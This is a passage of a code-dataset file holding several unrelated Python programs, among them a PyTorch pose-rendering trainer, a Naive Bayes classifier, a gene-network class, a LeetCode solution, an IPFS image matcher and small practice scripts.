= 0\n    rot_z[:, 2, 1] = 0\n    rot_z[:, 2, 2] = 1\n\n\n    R = torch.bmm(rot_z, torch.bmm(rot_y, rot_x))\n    # print(R)\n    # cp_rotMat = (R)  # cp_rotMat = (model.R).detach().cpu().numpy()\n    # r = Rot.from_dcm(cp_rotMat.detach().cpu().numpy())\n    # r_euler = r.as_euler('xyz', degrees=True)\n    # print('reuler: {}'.format(r_euler))\n    return R\n\n# ---------------------------------------------------------------------------------\n# Main\n# ---------------------------------------------------------------------------------\ndef main():\n\n    # ---------- LOAD DATASET AND FILE SELECTION ----------------------------------------------------------------------\n    start = time.time()\n    device = torch.device('cuda' if torch.cuda.is_available() else 'cpu')\n    torch.cuda.empty_cache()\n    print(device)\n\n    file_name_extension = 'Rotation_centered_im4'\n\n\n    cubes_file = 'Npydatabase/wrist_{}.npy'.format(file_name_extension)\n    silhouettes_file = 'Npydatabase/sils_{}.npy'.format(file_name_extension)\n    parameters_file = 'Npydatabase/params_{}.npy'.format(file_name_extension)\n\n    wrist = np.load(cubes_file)\n    sils = np.load(silhouettes_file)\n    params = np.load(parameters_file)\n\n    train_im = wrist  # 90% training\n    train_sil = sils\n    train_param = params\n\n    normalize = Normalize(mean=[0.5], std=[0.5])\n    transforms = Compose([ToTensor(), normalize])\n    train_dataset = CubeDataset(train_im, train_sil, train_param, transforms)\n\n\n    train_dataloader = DataLoader(train_dataset, batch_size=1, shuffle=True, num_workers=1)\n\n    # # check to iterate inside the test dataloader\n    # for image, sil, param in train_dataloader:\n    #\n    #     # print(image[2])\n    #     print(image.size(), param.size()) #torch.Size([batch, 3, 512, 512]) torch.Size([batch, 6])\n    #     im =0\n    #     print(param[im])  # parameter in form tensor([2.5508, 0.0000, 0.0000, 0.0000, 0.0000, 5.0000])\n    #\n    #     image2show = image[im]  # indexing random  one image\n    #     print(image2show.size()) #torch.Size([3, 512, 512])\n    #     plt.imshow((image2show * 0.5 + 0.5).numpy().transpose(1, 2, 0))\n    #     plt.show()\n    #     break  # break here just to show 1 batch of data\n\n    count = 0\n    losses = []\n    a = []\n    b = []\n    c = []\n    tx = []\n    ty = []\n    tz = []\n    isRegression = []\n    #ground value to be plotted on the graph as line\n    alpha_GT = np.array( m.degrees(params[0,0]))\n    beta_GT =  np.array(m.degrees(params[0,1]))\n    gamma_GT =  np.array(m.degrees(params[0,2]))#angle in degrer\n    tx_GT =  np.array(params[0,3])\n    ty_GT = np.array(params[0,4])\n    tz_GT = np.array(params[0,5])\n\n    iterations = 200\n\n\n    # ---------- MODEL CREATION  ----------------------------------------------------------------------\n    parser = argparse.ArgumentParser()\n    parser.add_argument('-io', '--filename_obj', type=str, default=os.path.join(data_dir, 'wrist.obj'))\n    parser.add_argument('-or', '--filename_output', type=str, default=os.path.join(result_dir, '{}_render_animation.gif'.format(file_name_extension)))\n    parser.add_argument('-mr', '--make_reference_image', type=int, default=0)\n    parser.add_argument('-g', '--gpu', type=int, default=0)\n    args = parser.parse_args()\n\n    # resnet50 = models.resnet50(pretrained=True)\n\n    model = Myresnet50(filename_obj=args.filename_obj)\n    # model = Model(args.filename_obj, args.filename_ref)\n\n    model.to(device)\n\n    model.train(True)\n    bool_first = True\n    Lr_start = 0.00001\n    decreaseat = 40\n    lr = Lr_start\n    loop = tqdm.tqdm(range(iterations))\n    for i in loop:\n\n        for image, silhouette, parameter in train_dataloader:\n            image = image.to(device)\n            imgGT = image\n            parameter = parameter.to(device)\n            init_params = parameter\n\n            silhouette = silhouette.to(device)\n\n            params = model(image)\n            print('computed parameters are {}'.format(params))\n            R = params\n            model.R = R2Rmat(R).to(device) #angle from resnet are in radian\n            model.t = (model.t).to(device)\n            image = model.renderer(model.vertices, model.faces, R=model.R,   t=model.t, mode='silhouettes')\n            current_GT_sil = (silhouette / 255).type(torch.FloatTensor).to(device)\n            # regression between computed and ground truth\n\n            optimizer = torch.optim.Adam(model.parameters(), lr=lr)\n            loss = nn.BCELoss()(image, current_GT_sil)\n            if (i % decreaseat  == 0 and i > 2):\n                if (lr > 0.00001):\n                    lr = lr / 10\n                    print('update lr, is now {}'.format(lr))\n\n            print('loss is {}'.format(loss))\n\n            optimizer.zero_grad()\n            loss.backward()\n            optimizer.step()\n\n            losses.append(loss.detach().cpu().numpy())\n            # print(((model.K).detach().cpu().numpy()))\n            cp_x = ((model.t).detach().cpu().numpy())[0,0]\n            cp_y = ((model.t).detach().cpu().numpy())[0,1]\n            cp_z = ((model.t).detach().cpu().numpy())[0,2]\n\n\n            cp_rotMat = (model.R) #cp_rotMat = (model.R).detach().cpu().numpy()\n            r = Rot.from_dcm(cp_rotMat.detach().cpu().numpy())\n            r_euler = r.as_euler('xyz', degrees=True)\n\n\n            a.append(r_euler[0, 0]) #        a.append(abs(r_euler[0,0] ))\n            b.append(r_euler[0, 1])\n            c.append(r_euler[0, 2])\n            cp_a = r_euler[0, 0]\n            cp_b = r_euler[0, 1]\n            cp_c = r_euler[0, 2]\n\n\n            tx.append(cp_x)\n            ty.append(cp_y)\n            tz.append(cp_z) #z axis value\n\n            images, _, _ = model.renderer(model.vertices, model.faces, torch.tanh(model.textures), R = model.R, t= model.t )\n\n            img = images.detach().cpu().numpy()[0].transpose(1,2,0)\n\n            if(i == iterations-1):\n\n                imgGT = imgGT.squeeze()  # float32 from 0-1\n                imgGT = imgGT.detach().cpu()\n                imgGT = (imgGT * 0.5 + 0.5).numpy().transpose(1, 2, 0)\n                # imgGT = (imgGT * 255).astype(np.uint8)  # cast from float32 255.0 to 255 uint8\n\n                f = plt.subplot(1, 2, 1)\n                plt.imshow(imgGT)\n                f.set_title('Ground truth \\n alpha {:.3f}° tx {}\\n'\n                            'beta {:.3f}° ty {}\\n '\n                            'gamma {:.3f}° tz {}'.format(alpha_GT,tx_GT, beta_GT,ty_GT,gamma_GT, tz_GT))\n                plt.xticks([0, 512])\n                plt.yticks([])\n                f = plt.subplot(1, 2,2)\n                plt.imshow(img)\n                f.set_title('Renderer \\n alpha {:.3f}°  tx {:.3f}\\n'\n                            'beta {:.3f}° ty {:.3f}\\n'\n                            'gamma {:.3f}° tz {:.3f}'.format(cp_a, cp_x,cp_b, cp_y,cp_c, cp_z))\n                plt.xticks([0, 512])\n                plt.yticks([])\n\n                plt.savefig('results/2_rotation_render/Final_render_rotation_{}iterations_{}.png'.format(iterations, file_name_extension),  bbox_inches = 'tight', pad_inches = 0.05)\n\n\n            imsave('/tmp/_tmp_%04d.png' % i, img)\n            loop.set_description('Optimizing (loss %.4f)' % loss.data)\n            count = count +1\n\n\n    end = time.time()\n    exectime = round((end - start), 2) #format in minute\n    print('time elapsed is: {} sec'.format(exectime))\n\n    # ----------PLOT SECTION ------------------------------------------------------------------------\n    make_gif(args.filename_output)\n    fig, (p1, p3) = plt.subplots(2, figsize=(15,10)) #largeur hauteur\n    fig.suptitle(\"Render for 1 image, {} epochs in {} sec, rotation only, 3 parameters \\n lr={} and decrease each {} iterations\".format(iterations,exectime, Lr_start, decreaseat), fontsize=14)\n\n    p1.plot(np.arange(count), losses, label=\"Global Loss\")\n    p1.set( ylabel='BCE Loss')\n    p1.set_yscale('log')\n    p1.set_ylim([0, 1])\n    p1.set(xlabel='Iterations')\n    # Place a legend to the right of this smaller subplot.\n    p1.legend()\n\n    p3.plot(np.arange(count), a, label=\"alpha values\", color = 'g')\n    p3.axhline(y=alpha_GT, color = 'g', linestyle= '--' )\n    p3.plot(np.arange(count), b, label=\"beta values\", color = 'y')\n    p3.axhline(y=beta_GT, color = 'y', linestyle= '--')\n    p3.plot(np.arange(count), c, label=\"gamma values\", color = 'b')\n    p3.axhline(y=gamma_GT, color = 'b', linestyle= '--' )\n\n    p3.set(xlabel='iterations', ylabel='Rotation value')\n    p3.set_ylim([-180, 180])\n    p3.legend()\n\n    fig.savefig('results/2_rotation_render/render_1image_Translation_3params_{}.pdf'.format(file_name_extension), bbox_inches = 'tight', pad_inches = 0.05)\n    fig.savefig('results/2_rotation_render/render_1image_Translation_3params_{}.png'.format(file_name_extension), bbox_inches = 'tight', pad_inches = 0.05)\n    matplotlib2tikz.save(\"results/2_rotation_render/render_1image_Translation_3params_{}.tex\".format(file_name_extension),figureheight='5.5cm', figurewidth='15cm')\n    plt.show()\n\nif __name__ == '__main__':\n    main()","sub_path":"training1image/2_example5_resnet_1im_rotation_Render_3params.py","file_name":"2_example5_resnet_1im_rotation_Render_3params.py","file_ext":"py","file_size_in_byte":19136,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"393140861","text":"from pyspark.ml.evaluation import BinaryClassificationEvaluator\nfrom pyspark.ml.evaluation import MulticlassClassificationEvaluator\n\n\ndef evaluate_binary_classifier(predictions):\n    PR_evaluator = \\\n        BinaryClassificationEvaluator(labelCol=\"label\",\n                                      rawPredictionCol=\"rawPrediction\",\n                                      metricName=\"areaUnderPR\")\n    area_under_PR = PR_evaluator.evaluate(predictions)\n    f1_evaluator = \\\n        MulticlassClassificationEvaluator(predictionCol='prediction',\n                                          labelCol='label',\n                                          metricName='f1')\n    f1_score = f1_evaluator.evaluate(predictions)\n    ROC_evaluator = \\\n        BinaryClassificationEvaluator(labelCol=\"label\",\n                                      rawPredictionCol=\"rawPrediction\",\n                                      metricName=\"areaUnderROC\")\n    area_under_ROC = ROC_evaluator.evaluate(predictions)\n    acc_evaluator = \\\n        MulticlassClassificationEvaluator(predictionCol='prediction',\n                                          labelCol='label',\n                                          metricName='accuracy')\n    acc_score = acc_evaluator.evaluate(predictions)\n\n    print(f\"Area Under PR = {area_under_PR}\")\n    print(f\"F1 score = {f1_score}\")\n    print(f\"Area Under ROC = {area_under_ROC}\")\n    print(f\"Accuracy = {acc_score}\")\n\n    return (area_under_PR, f1_score, area_under_ROC, acc_score)\n","sub_path":"evaluate.py","file_name":"evaluate.py","file_ext":"py","file_size_in_byte":1481,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"470543666","text":"#!/usr/bin/python\n\"\"\"\nGiven a 2d binary matrix filled with 0's and 1's, find the largest square containing only 1's and return its area.\nleetcode #221. This particular solution takes in array of string, which is for the submission\non leetcode.\n\"\"\"\n\ndef maximal_square_dp_better_space(mtx):\n    \"\"\"\n    Solving the problem using dynamic programming with O(mn) speed and O(n) space.\n    \"\"\"\n    w = len(mtx[0])\n    h = len(mtx)\n\n    rslt = [0]*(w+1)\n\n    maxsqlen = 0\n    prev = 0\n    for i in xrange(1, h+1):\n        for j in xrange(1, w+1):\n            tmp = rslt[j]\n            if mtx[i-1][j-1] == '1':\n                rslt[j] = min(rslt[j-1], rslt[j], prev) + 1\n                maxsqlen = max(maxsqlen, rslt[j])\n            else:\n                rslt[j] = 0\n            prev = tmp\n\n    return maxsqlen*maxsqlen\n\ndef test1():\n    mtx = ['10100', \\\n           '10111', \\\n           '11111', \\\n           '10010']\n\n    print(maximal_square_dp_better_space(mtx))\n\ndef test2():\n    mtx = ['1111', \\\n           '1111', \\\n           '1100', \\\n           '1101']\n\n    print(maximal_square_dp_better_space(mtx))\n\ndef test3():\n    mtx = ['1101', \\\n           '0001', \\\n           '0000', \\\n           '0001']\n\n    print(maximal_square_dp_better_space(mtx))\n\ndef test4():\n    mtx = ['01110', \\\n           '11110', \\\n           '01111', \\\n           '01111', \\\n           '00111']\n\n    print(maximal_square_dp_better_space(mtx))\n\nif __name__ == '__main__':\n    test1()\n    print('------')\n    test4()\n#    test2()\n#    print('------')\n#    test3()\n#    print('------')\n#   test4()\n","sub_path":"dynamicProgramming/maximalSquareStrInput.py","file_name":"maximalSquareStrInput.py","file_ext":"py","file_size_in_byte":1571,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"290490278","text":"#Implementation of Naive Bayes classifier.\n\n#Jenna Bellassai\n#28 October 2016\n\nimport sys\nimport csv\nimport random\nimport math\nimport collections\nimport copy\n\nPOSSIBLE_ATT_VALS = dict()\natts_list = []\nlabel_list = []\n\nclass Instance:\n    def __init__(self,label,atts):\n        self.label = label\n        self.atts = atts\n\n'''construct list of instances from csv file'''\ndef get_instances(file):\n    first_row = True\n    all_instances = []\n    with open(file, 'r') as csvfile:\n        reader = csv.reader(csvfile)\n        for row in reader:\n            atts = collections.OrderedDict()\n            if first_row==True:\n                label_name = row[0]\n                for i in range(1, len(row)):\n                    atts_list.append(row[i]) #set general attribute names\n                    POSSIBLE_ATT_VALS[row[i]] = []\n                first_row = False\n            else:\n                label = row[0] #store label for this instance\n                if label not in label_list:\n                    label_list.append(label)\n                for i in range(1, len(row)):\n                    atts[atts_list[i-1]] = row[i]\n                    if (row[i]) not in POSSIBLE_ATT_VALS[atts_list[i-1]]:\n                        if (row[i]) != '?':\n                            POSSIBLE_ATT_VALS[atts_list[i-1]].append(row[i])\n                instance = Instance(label, atts)\n                all_instances.append(instance)\n    return(all_instances,label_name)\n\n'''split instances into training and test sets using random seed'''\ndef split_instances(all_instances, seed):\n    seed = random.seed(seed)\n    random.shuffle(all_instances) #shuffled list of instances\n    train_size = int(round(0.6 * len(all_instances)))\n    test_size = len(all_instances) - train_size\n    train_set = []\n    test_set = []\n    for i in range(0, train_size):\n        train_set.append(all_instances[i])\n    for i in range(train_size, len(all_instances)):\n        test_set.append(all_instances[i])\n    return (train_set, test_set)\n\n'''train model on training set'''\ndef naive_bayes_train(train_set):\n    train_label_dict = dict()\n    '''build dictionary of every possible label in the training set'''\n    for instance in train_set: \n        if instance.label not in train_label_dict:\n            train_label_dict[instance.label] = 1\n        else:\n            train_label_dict[instance.label] += 1     \n    \n    '''create 2D dictionary structure for storing counts'''    \n    label_tables = collections.OrderedDict()\n    for label in train_label_dict.keys():\n        label_tables[label] = collections.OrderedDict()\n        for attribute in atts_list:\n            label_tables[label][attribute] = collections.OrderedDict()\n    \n    '''fill dictionary structure with counts'''\n    for label in train_label_dict.keys(): #for every observed label\n        for instance in train_set: #for each instance\n            if instance.label==label:\n                for att_val in instance.atts.items(): #for each attribute value\n                    attribute = att_val[0]\n                    value = att_val[1]\n                    if value not in label_tables[label][attribute].keys(): #if this att value is not in the attribute dict yet\n                        label_tables[label][attribute][value] = 1\n                    else:\n                        label_tables[label][attribute][value] += 1\n    '''calculate probabilities using structure of counts'''                   \n    prob_tables = copy.deepcopy(label_tables)\n    a = 1\n    for label in label_tables.keys():\n        for attribute in label_tables[label].keys():\n            for value in label_tables[label][attribute].keys():\n                numerator = a + label_tables[label][attribute][value]\n                b = len(POSSIBLE_ATT_VALS[attribute])\n                denominator = b + train_label_dict[label]\n                prob_tables[label][attribute][value] = numerator / denominator\n    return prob_tables, train_label_dict\n\n'''use trained model to make predictions on test set'''              \ndef naive_bayes_predict(instance, train_set, prob_tables, train_label_dict):\n    label_scores = dict()\n    for label in train_label_dict.keys(): #make calcuations for every possible label\n        p_l = train_label_dict[label] / len(train_set) #prior probability\n        '''apply Bayes's rule'''\n        p_instance = 1\n        for att_val in instance.atts.items(): #for each of the instance's attribute values\n            attribute = att_val[0]\n            value = att_val[1]\n            if value not in prob_tables[label][attribute].keys(): #if this attribute value didn't appear in the training set\n                curr_p = 1 / len(POSSIBLE_ATT_VALS[attribute]) #pseudo counts case\n            else:\n                curr_p = prob_tables[label][attribute][value] #retrieve prob of current label given current attribute and its value\n            p_instance = p_instance * curr_p\n        sum = math.log(p_l) + math.log(p_instance) #log transformation to avoid underfitting\n        label_score = math.exp(sum)\n        label_scores[label] = label_score\n    curr_max = 0\n    curr_label = None\n    for item in label_scores.items(): #for every label score\n        if item[1] > curr_max: #if label's score is greatest so far\n            curr_max = item[1] #store this label as highest performing label\n            curr_label = item[0]\n    return curr_label\n    \n    \n\nif __name__ == '__main__':\n    all_instances, label_name = get_instances(sys.argv[1])\n    seed = sys.argv[2]\n    train_set, test_set = split_instances(all_instances, seed)\n    probs, train_label_dict = naive_bayes_train(train_set)\n    \n    '''build confusion matrix'''       \n    predict_list=[]\n    actual_list = []\n    for instance in all_instances:\n        if instance.label not in predict_list:\n            predict_list.append(instance.label)\n        if instance.label not in actual_list:\n            actual_list.append(instance.label)\n    matrix = [[0]*len(predict_list) for i in range(len(predict_list))]\n    correct = 0\n    total = 0\n    for instance in test_set:\n        prediction = naive_bayes_predict(instance,train_set,probs,train_label_dict)\n        if prediction==instance.label:\n            correct += 1\n            total += 1\n        else:\n            total += 1\n        for i  in range(len(predict_list)):\n            if predict_list[i]==prediction:\n                for j in range(len(actual_list)):\n                    if actual_list[j]==instance.label:\n                        matrix[i][j] += 1\n    \n    \n    '''output confusion matrix to csv'''\n    file_name = \"results_\"+sys.argv[1]+\"_NaiveBayes_\"+sys.argv[2]+\".csv\"\n    file = open(file_name,'w')\n    for label in predict_list:\n        file.write(label)\n        file.write(\",\")\n    file.write('\\n')\n    for i in range(len(matrix)):\n        for item in matrix[i]:\n            file.write(str(item))\n            file.write(\",\")\n        file.write(predict_list[i])\n        file.write('\\n')\n    \n    ","sub_path":"NBPart1.py","file_name":"NBPart1.py","file_ext":"py","file_size_in_byte":6936,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"119962132","text":"import os\n\ndef anaysis_data():\n    test_times = []\n    # 打开data.log文件\n    with open(os.getcwd() + \"/data.log\") as fs:\n        for line in fs.readlines():  # 按行读取\n            temp = line.strip(\"\\n\").split(\",\") # 去掉换行符之后，再按,分割\n            print(\"temp\",temp)\n            if temp[-1] == str(0): # 筛选success字段为0的TestTime\n                test_times.append(int(temp[-2]))\n\n    if len(test_times) > 0:\n        avg_time = sum(test_times) / len(test_times) # 平均值\n        max_time = max(test_times)\n        min_time = min(test_times)\n        print(\"最大的TestTime: \",max_time,\",最小的TestTime: \",min_time,\",平均TestTime: \",avg_time)\n\n\nif __name__ == '__main__':\n    anaysis_data()","sub_path":"python 25 code/exam2_0302_python_api/exam2-last p.py","file_name":"exam2-last p.py","file_ext":"py","file_size_in_byte":735,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"363218143","text":"from django.test import LiveServerTestCase\n# from selenium import webdriver\n# from xvfbwrapper import Xvfb\nimport requests\n\n\nclass NewVisitorTest(LiveServerTestCase):\n    # def setUp(self):\n    #     self.xvfb = Xvfb(width=1280, height=720)\n    #     self.xvfb.start()\n    #     self.browser = webdriver.Chrome()\n\n\n    def test_greet_anonymous_entities(self):\n        r = requests.get(self.live_server_url)\n        self.assertEqual(r.status_code, 200)\n        self.assertEqual(r.text, '{\"message\":\"Welcome to the Kyonan Inventory System\"}')\n\n        # def tearDown(self):\n        #     self.browser.quit()\n        #     self.xvfb.stop()\n\n","sub_path":"server/functional_tests/test_all_users.py","file_name":"test_all_users.py","file_ext":"py","file_size_in_byte":638,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"321127364","text":"from GeneNode import GeneNode\n\nclass Network:\n    network = {}\n   \n    ## build network data structure using edge list csv file\n    def __init__(self,fileName=None,split=\"\"):\n        self.network = {}\n        \n        if fileName is not None:\n            edge_list = open(fileName,\"r\")\n            for l in edge_list:\n                #skip header line\n                if \"Source\" in l:\n                    continue\n\n                array = l.strip().split(split)\n                self.createNode(array)\n            \n    @staticmethod\n    def sequenceToEdgeList(list,fout,network,header=False):\n        if header:\n            fout.write(\"Edge\\tAttribute\\n\")\n        for i in xrange(0,len(list)-1):\n            fout.write(list[i]+\" (\"+network.getEdgeType(list[i])+\") \"+list[i+1]+\"\\t\"+\"loop\"+\"\\n\")\n    def getNodes(self):\n        return self.network.keys()\n\n    def printNodesToFile(self,fname,type):\n        fout = file(fname,\"w\")\n        for n in self.getNodes():\n            node = self.getNode(n)\n            if type==\"all\" or type==node.nodeType:\n                fout.write(node.geneID+\"\\n\")\n        fout.close()\n\n    def getNode(self,n):\n        return self.network[n]\n\n    ## helper method to add node to the network from edge list element\n    def createNode(self,element):\n        source = element[0]\n        target = element[1]\n\n        if source not in self.network:\n            self.network[source] = GeneNode(source)\n\n        if target not in self.network:\n            self.network[target] = GeneNode(target)\n\n        self.network[source].addOutWardNode(target)\n        self.network[target].addInWardNode(source)\n\n    def getEndNodesOfNetwork(self):\n        endNodeSet = set()\n        for node in self.network:\n            if self.network[node].isEndNode():\n                endNodeSet.add(node)\n        return endNodeSet\n\n    def getStartNodesOfNetwork(self):\n        startNodeSet = set()\n        for node in self.network:\n            if self.network[node].isStartNode():\n                startNodeSet.add(node)\n        return startNodeSet\n\n    ##recursive method that is called for longest chain calculation\n    def calculateLongestChain(self,node,level,visited):\n\n        if self.network[node].isEndNode() or node in visited:\n            return level+1\n\n        visited.add(node)\n        maxVal = -999\n        for n in self.network[node].getOutWardNode():\n            result = self.calculateLongestChain(n,level+1,visited)\n            if result>maxVal:\n                maxVal = result\n\n        return maxVal\n\n    ## calculate longest chain from every starting nodes in the network\n    def longestNodesChain(self):\n        startNodes = self.getStartNodesOfNetwork()\n        output = {}\n        for n in startNodes:\n            visited = set()\n            level = self.calculateLongestChain(n,0,visited)\n            output[n] = level\n\n        return output\n\n    ##print network into edge list file, you can skip node if you want to exclude some node\n    def printNetworkTofile(self,skipNode,fName):\n        fName.write(\"Source\\tTarget\\tType\\n\")\n        toPrint = set()\n        for n in self.network:\n            self.network[n].printEdgeRel(toPrint)\n\n        for n in toPrint:\n            split = n.split(\"\\t\")\n            if split[0] in skipNode or split[1] in skipNode:\n                continue\n            fName.write(n)\n\n    @staticmethod   ## load node value from inputted file\n    def loadNodeValue(fname):\n        nodeValue = {}\n        for line in fname:\n            if \"Gene\" in line:\n                continue\n\n            array = line.split(\"\\t\")\n\n            nodeValue[array[0]] = array[1]\n\n        return nodeValue\n\n    ## set node value and store it in the score attribute\n    def setNodeValue(self,valueList):\n        for n in self.network:\n            if n in valueList:\n                self.network[n].score = float(valueList[n])\n            else:\n                self.network[n].score = float(0)\n\n    def removeNode(self,node):   ##remove node from the network\n        for n in self.network[node].getInWardNode():\n            self.network[n].removeOutWardNode(node)\n\n        for n in self.network[node].getOutWardNode():\n            self.network[n].removeInWardNode(node)\n\n        self.network.pop(node)\n\n    ##remove edge that connect exactly same source and target\n    def removeSamePath(self):\n        for n in self.network:\n            if self.network[n].nodeType==\"protein\":\n                continue\n\n            connectedNodes = set()\n            outWardEdge = self.network[n].getOutWardNode()\n\n            for edge in outWardEdge:\n\n                if len(self.network[edge].getInWardNode())>1:\n                    continue\n\n                edge_outward = set(self.network[edge].getOutWardNode())\n                intersect = connectedNodes.intersection(edge_outward)\n                for i in intersect:\n                    self.network[edge].removeOutWardNode(i)\n                    self.network[i].removeInWardNode(edge)\n                connectedNodes = connectedNodes.union(edge_outward)\n\n    ##remove protein nodes that are in the starting node or end node\n    def filterProteinNode(self):\n        start = self.getStartNodesOfNetwork()\n        for n in start:\n            if self.network[n].nodeType==\"protein\":\n                self.removeNode(n)\n\n        end = self.getEndNodesOfNetwork()\n        for n in end:\n            if self.network[n].nodeType==\"protein\":\n                self.removeNode(n)\n\n    ##remove short sub network that is isolated, remove protein node is start/end pos, remove same path\n    def filterNetwork(self):\n        output = self.longestNodesChain()\n        while 1 in output.values() or 2 in output.values() or 3 in output.values():\n            for n in output:\n                if output[n]<=3:\n                    self.removeNode(n)\n            self.filterProteinNode()\n            output = self.longestNodesChain()\n\n        self.removeSamePath()\n\n    def calculateDepth(self,node,score,visited):\n        if self.network[node].score child.value\n            for child in self.traverse_inorder(node.right):\n                assert node.value < child.value\n\n\n","sub_path":"Trees/py/test_bst.py","file_name":"test_bst.py","file_ext":"py","file_size_in_byte":3308,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"418962268","text":"import cv2\nimport numpy as np\nimport os\n\ndef resize(img):\n    return cv2.resize(img, (128, 128))\n\ndef prep_data(frame_folder):\n    if not os.path.exists('batches'):\n        os.mkdir('batches')\n    datafolder = 'data/'+frame_folder+'/'\n    frames = os.listdir(datafolder)\n    frames.sort(key = lambda x: int(x[:-4]))\n\n    img_shape = (1,1,128,128)\n    feats_shape = (1,2,128,128)\n    feats = np.empty(feats_shape)\n    targets = np.empty(img_shape)\n\n    num_frames = len(frames)\n    batch_size = 256\n    batches = num_frames // batch_size\n    dist = 8    # distance between two frames to predict\n    print('Starting to load frames and save as batches of {} numpy arrays'.format(batch_size))\n    for batch in range(batches):\n        for n in range(batch_size - dist):\n            frame_start = datafolder + frames[batch*batch_size + n]\n            frame_end = datafolder + frames[batch*batch_size + n+dist]\n            img_start = resize(cv2.imread(frame_start, cv2.IMREAD_GRAYSCALE)).reshape(img_shape)\n            img_end = resize(cv2.imread(frame_end, cv2.IMREAD_GRAYSCALE)).reshape(img_shape)\n            duo = np.hstack((img_start,img_end))\n            feats = np.vstack((feats, duo))\n\n            frame_mid = datafolder + frames[batch*batch_size + n + int(dist/2)]\n            img_mid = resize(cv2.imread(frame_mid, cv2.IMREAD_GRAYSCALE)).reshape(img_shape)\n            targets = np.vstack((targets, img_mid))\n\n        feats = np.delete(feats, 0, 0)\n        targets = np.delete(targets, 0, 0)\n\n        np.save('batches/batch{}_feats'.format(batch), feats.astype(int))\n        np.save('batches/batch{}_targets'.format(batch), targets.astype(int))\n        print('Done saving batch {} of {}'.format(batch+1, batches))\n\nif __name__ == \"__main__\":\n    prep_data('test_video')\n","sub_path":"data_prep.py","file_name":"data_prep.py","file_ext":"py","file_size_in_byte":1774,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"518550501","text":"print(\"Program to convert a decimal number to its binary equivalent\")\nnum = int(input(\"Enter a number: \"))\nwhile num > 0:\n    num = int(input(\"Enter a non-negative number: \"))\n    if num == 0:\n        bin = \"0\"\n    else:\n        bin = \"\"\n    working = num\n    while working != 0:\n        if working % 2 != 1:\n            bin = \"1\" + bin\n        else:\n            bin = \"1\" + bin\n    print(bin)\n    working = working // 2\n    print(bin)\n    num = num - 1\n","sub_path":"Codevita/binary_equ.py","file_name":"binary_equ.py","file_ext":"py","file_size_in_byte":454,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"605216002","text":"#!/usr/bin/python3\n\nimport psycopg2\nimport cv2\nimport requests\nimport numpy as np\nimport time\nfrom datetime import datetime\nimport json\n\npause = 30\n\nmikkas = ['vr', 'pizza_sh_sp', 'floor_r_sh_hd', 'floor_d_sh_sp', 'bed_lh_yk', 'bed_sh_sp', 'wine_sh_sp', 'pc']\nmikkas = [[m, cv2.imread(m + '.png')] for m in mikkas]\n\ndef get_image(ipfs_hash):\n    print(' Getting', ipfs_hash)\n    res = requests.get('https://infura-ipfs.io/ipfs/' + ipfs_hash)\n    if res.status_code == 200:\n        print(' done')\n        return res.content\n    else:\n        time.sleep(1)\n        return get_image(ipfs_hash)\n\nwhile True:\n    start = datetime.now()\n\n    conn = psycopg2.connect(dbname='cardanocity', port=5432)\n    cur = conn.cursor()\n    cur.execute('select * from units where mikka is null')\n    units = cur.fetchall()\n    units = [unit[1] for unit in units]\n    found = len(units)\n    print('\\n Found:', found)\n\n    if found == 0:\n        print(' Pausing for', pause)\n        time.sleep(pause)\n    else:\n        n = 1\n        positions = []\n        for unit in units:\n            print('\\n', n, 'of', found, '- Getting image for', unit['name'])\n            img = get_image(unit['image'][7:])\n            img = cv2.imdecode(np.frombuffer(img, np.uint8), 1)\n            vals = []\n            for mikka in mikkas:\n                try:\n                    r = cv2.matchTemplate(mikka[1], img, cv2.TM_SQDIFF_NORMED)\n                    min_val,_,_,_ = cv2.minMaxLoc(r)\n                except:\n                    min_val = 1\n                vals.append([mikka[0], min_val])\n                if min_val < 0.08:\n                    break\n            vals = sorted(vals, key=lambda k: k[1])\n            positions.append([unit['name'], mikka[0]])\n            print(positions[-1:])\n            n += 1\n        for p in positions:\n            p[1] = {'position': p[1]}\n            print(p)\n            cur.execute('insert into units(name,mikka) values(\\'' + p[0] + '\\',\\'' + json.dumps(p[1]).replace(\"\\'\", \"\\'\\'\") + '\\') on conflict (name) do update set mikka=excluded.mikka')\n        conn.commit()\n\n    cur.close()\n    conn.close()\n    print(' Finished in', datetime.now() - start)\n","sub_path":"get_positions.py","file_name":"get_positions.py","file_ext":"py","file_size_in_byte":2155,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"138992913","text":"# Lists\nbirthdays = {'Terrance': 'Apr 14', 'Dad': 'Sep 5', 'Sister': 'May 27'}\n\n\ndef main():\n    while True:\n        print('Enter a name: (blank to quit)')\n        name = input()\n        if name == '':\n            break\n        if name in birthdays:\n            print(birthdays[name] + ' is the birthday of ' + name)\n        else:\n            print('I do not have birthday information for ' + name)\n            print('What is their birthday?')\n            b_day = input()\n            birthdays[name] = b_day  # Sets given name as new key and assigns given date as value.\n            print('Birthday database updated')\n\n\nmain()\n","sub_path":"Examples/chapter_ 5_birthdays.py","file_name":"chapter_ 5_birthdays.py","file_ext":"py","file_size_in_byte":627,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
